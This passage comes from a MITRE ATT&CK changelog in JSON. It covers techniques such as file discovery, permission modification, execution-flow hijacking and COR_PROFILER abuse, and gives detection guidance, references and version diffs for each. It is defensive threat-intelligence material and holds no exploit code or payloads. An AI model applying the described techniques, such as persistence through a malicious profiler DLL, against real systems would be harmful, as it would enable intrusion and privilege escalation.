"https://nvd.nist.gov/vuln/detail/CVE-2016-6662" }, { "source_name": "CIS Multiple SMB Vulnerabilities", "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/" }, { "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018", "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A" }, { "source_name": "Cisco Blog Legacy Device Attacks", "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" }, { "source_name": "NVD CVE-2014-7169", "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" }, { "source_name": "OWASP Top 10", "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", "url": "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" }, { "source_name": "CWE top 25", "description": "Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.", "url": "https://cwe.mitre.org/top25/index.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Yossi Weizman, Azure Defender Research Team", "Praetorian" ], "x_mitre_data_sources": [ "Application Log: Application Log Content", "Network Traffic: Network Traffic Content" ], "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Windows", "IaaS", "Network", "Linux", "macOS", "Containers" ], "x_mitre_version": "2.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-07-20 21:51:45.776000+00:00\", \"old_value\": \"2021-04-12 18:25:16.409000+00:00\"}}}", "previous_version": "2.3", "changelog_mitigations": { "shared": [ "M1016: Vulnerability Scanning", "M1026: Privileged Account Management", "M1030: Network Segmentation", "M1048: Application Isolation and Sandboxing", "M1050: Exploit Protection", "M1051: Update Software", "T1190: Exploit Public-Facing Application Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0015: Application Log (Application Log Content)", "DS0029: Network Traffic (Network Traffic Content)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:04.710000+00:00", "modified": "2021-08-23 20:44:32.048000+00:00", "name": "File and Directory Discovery", "description": "Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "discovery" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1083", "external_id": "T1083" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/127.html", "external_id": "CAPEC-127" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/497.html", "external_id": "CAPEC-497" }, { "source_name": "Windows Commands JPCERT", "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Process: OS API Execution" ], "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_system_requirements": [ "Some folders may require Administrator, SYSTEM or specific user depending on permission levels and access controls" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-23 20:44:32.048000+00:00\", \"old_value\": \"2020-09-16 16:02:16.770000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).\", \"old_value\": \"Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nMany command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n \\n-Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).\\n+Many command shell utilities can be used to obtain this information. Examples include dir, tree, ls, find, and locate.(Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the [Native API](https://attack.mitre.org/techniques/T1106).\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html\", \"old_value\": \"http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html\"}}}", "previous_version": "1.3", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may enumerate files and directories or may searct1Adversaries may enumerate files and directories or may searc
>h in specific locations of a host or network share for certa>h in specific locations of a host or network share for certa
>in information within a file system. Adversaries may use the>in information within a file system. Adversaries may use the
> information from [File and Directory Discovery](https://att> information from [File and Directory Discovery](https://att
>ack.mitre.org/techniques/T1083) during automated discovery t>ack.mitre.org/techniques/T1083) during automated discovery t
>o shape follow-on behaviors, including whether or not the ad>o shape follow-on behaviors, including whether or not the ad
>versary fully infects the target and/or attempts specific ac>versary fully infects the target and/or attempts specific ac
>tions.  Many command shell utilities can be used to obtain t>tions.  Many command shell utilities can be used to obtain t
>his information. Examples include <code>dir</code>, <code>tr>his information. Examples include <code>dir</code>, <code>tr
>ee</code>, <code>ls</code>, <code>find</code>, and <code>loc>ee</code>, <code>ls</code>, <code>find</code>, and <code>loc
>ate</code>. (Citation: Windows Commands JPCERT) Custom tools>ate</code>.(Citation: Windows Commands JPCERT) Custom tools 
> may also be used to gather file and directory information a>may also be used to gather file and directory information an
>nd interact with the [Native API](https://attack.mitre.org/t>d interact with the [Native API](https://attack.mitre.org/te
>echniques/T1106).>chniques/T1106).
", "changelog_mitigations": { "shared": [ "T1083: File and Directory Discovery Mitigation" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (OS API Execution)", "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-10-17 00:14:20.652000+00:00", "modified": "2021-09-13 21:08:10.406000+00:00", "name": "File and Directory Permissions Modification", "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1222", "external_id": "T1222" }, { "source_name": "Hybrid Analysis Icacls1 June 2018", "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100" }, { "source_name": "Hybrid Analysis Icacls2 May 2018", "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.", "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110" }, { "source_name": "EventTracker File Permissions Feb 2014", "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.", "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "CrowdStrike Falcon OverWatch", "Jan Miller, CrowdStrike" ], "x_mitre_data_sources": [ "Process: Process Creation", "Command: Command Execution", "Active Directory: Active Directory Object Modification", "File: File Metadata" ], "x_mitre_defense_bypassed": [ "File system access controls" ], "x_mitre_detection": "Monitor and investigate attempts to modify ACLs and file/directory ownership. Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.\n\nConsider enabling file/directory permission change auditing on folders containing key binary/configuration files. For example, Windows Security Log events (Event ID 4670) are created when DACLs are modified.(Citation: EventTracker File Permissions Feb 2014)", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM", "root" ], "x_mitre_platforms": [ "Linux", "Windows", "macOS" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-13 21:08:10.406000+00:00\", \"old_value\": \"2020-09-01 20:05:05.562000+00:00\"}}}", "previous_version": "2.1", "changelog_mitigations": { "shared": [ "M1022: Restrict File and Directory Permissions", "M1026: Privileged Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Metadata)", "DS0026: Active Directory (Active Directory Object Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-03-12 20:38:12.465000+00:00", "modified": "2021-10-14 23:52:52.536000+00:00", "name": "Hijack Execution Flow", "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574", "external_id": "T1574" }, { "source_name": "Autoruns for Windows", "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.", "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Module: Module Load", "Command: Command Execution", "Service: Service Metadata", "File: File Creation", "File: File Modification" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Application control" ], "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.", "x_mitre_is_subtechnique": false, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 23:52:52.536000+00:00\", \"old_value\": \"2021-04-27 19:55:20.290000+00:00\"}}}", "previous_version": "1.1", "changelog_mitigations": { "shared": [ "M1013: Application Developer Guidance", "M1018: User Account Management", "M1022: Restrict File and Directory Permissions", "M1024: Restrict Registry Permissions", "M1038: Execution Prevention", "M1044: Restrict Library Loading", "M1047: Audit", "M1051: Update Software", "M1052: User Account Control" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0011: Module (Module Load)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Metadata)", "DS0022: File (File Creation)", "DS0022: File (File Modification)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-06-24 22:30:55.843000+00:00", "modified": "2021-08-30 21:35:12.049000+00:00", "name": "COR_PROFILER", "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" }, { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/012", "external_id": "T1574.012" }, { "source_name": "Microsoft Profiling Mar 2017", "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.", "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview" }, { "source_name": "Microsoft COR_PROFILER Feb 2013", "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.", "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)" }, { "source_name": "RedCanary Mockingbird May 2020", "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/" }, { "source_name": "Red Canary COR_PROFILER May 2020", "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.", "url": "https://redcanary.com/blog/cor_profiler-for-persistence/" }, { "source_name": "Almond COR_PROFILER Apr 2019", "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.", "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html" }, { "source_name": "GitHub OmerYa Invisi-Shell", "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.", "url": "https://github.com/OmerYa/Invisi-Shell" }, { "source_name": "subTee .NET Profilers May 2017", "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.", "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Jesse Brown, Red Canary" ], "x_mitre_data_sources": [ "Windows Registry: Windows Registry Key Modification", "Process: Process Creation", "Module: Module Load", "Command: Command Execution" ], "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.0", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-30 21:35:12.049000+00:00\", \"old_value\": \"2020-06-26 16:09:58.920000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\\n\\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\\n\\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)\", \"old_value\": \"Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\\n\\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\\n\\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\\n+Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\\n \\n The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\\n \"}}}", "previous_version": "1.0", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may leverage the COR_PROFILER environment variabt1Adversaries may leverage the COR_PROFILER environment variab
>le to hijack the execution flow of programs that load the .N>le to hijack the execution flow of programs that load the .N
>ET CLR. The COR_PROFILER is a .NET Framework feature which a>ET CLR. The COR_PROFILER is a .NET Framework feature which a
>llows developers to specify an unmanaged (or external of .NE>llows developers to specify an unmanaged (or external of .NE
>T) profiling DLL to be loaded into each .NET process that lo>T) profiling DLL to be loaded into each .NET process that lo
>ads the Common Language Runtime (CLR). These profiliers are >ads the Common Language Runtime (CLR). These profilers are d
>designed to monitor, troubleshoot, and debug managed code ex>esigned to monitor, troubleshoot, and debug managed code exe
>ecuted by the .NET CLR.(Citation: Microsoft Profiling Mar 20>cuted by the .NET CLR.(Citation: Microsoft Profiling Mar 201
>17)(Citation: Microsoft COR_PROFILER Feb 2013)  The COR_PROF>7)(Citation: Microsoft COR_PROFILER Feb 2013)  The COR_PROFI
>ILER environment variable can be set at various scopes (syst>LER environment variable can be set at various scopes (syste
>em, user, or process) resulting in different levels of influ>m, user, or process) resulting in different levels of influe
>ence. System and user-wide environment variable scopes are s>nce. System and user-wide environment variable scopes are sp
>pecified in the Registry, where a [Component Object Model](h>ecified in the Registry, where a [Component Object Model](ht
>ttps://attack.mitre.org/techniques/T1559/001) (COM) object c>tps://attack.mitre.org/techniques/T1559/001) (COM) object ca
>an be registered as a profiler DLL. A process scope COR_PROF>n be registered as a profiler DLL. A process scope COR_PROFI
>ILER can also be created in-memory without modifying the Reg>LER can also be created in-memory without modifying the Regi
>istry. Starting with .NET Framework 4, the profiling DLL doe>stry. Starting with .NET Framework 4, the profiling DLL does
>s not need to be registered as long as the location of the D> not need to be registered as long as the location of the DL
>LL is specified in the COR_PROFILER_PATH environment variabl>L is specified in the COR_PROFILER_PATH environment variable
>e.(Citation: Microsoft COR_PROFILER Feb 2013)  Adversaries m>.(Citation: Microsoft COR_PROFILER Feb 2013)  Adversaries ma
>ay abuse COR_PROFILER to establish persistence that executes>y abuse COR_PROFILER to establish persistence that executes 
> a malicious DLL in the context of all .NET processes every >a malicious DLL in the context of all .NET processes every t
>time the CLR is invoked. The COR_PROFILER can also be used t>ime the CLR is invoked. The COR_PROFILER can also be used to
>o elevate privileges (ex: [Bypass User Account Control](http> elevate privileges (ex: [Bypass User Account Control](https
>s://attack.mitre.org/techniques/T1548/002)) if the victim .N>://attack.mitre.org/techniques/T1548/002)) if the victim .NE
>ET process executes at a higher permission level, as well as>T process executes at a higher permission level, as well as 
> to hook and [Impair Defenses](https://attack.mitre.org/tech>to hook and [Impair Defenses](https://attack.mitre.org/techn
>niques/T1562) provided by .NET processes.(Citation: RedCanar>iques/T1562) provided by .NET processes.(Citation: RedCanary
>y Mockingbird May 2020)(Citation: Red Canary COR_PROFILER Ma> Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May
>y 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: Gi> 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: Git
>tHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers Ma>Hub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May
>y 2017)> 2017)
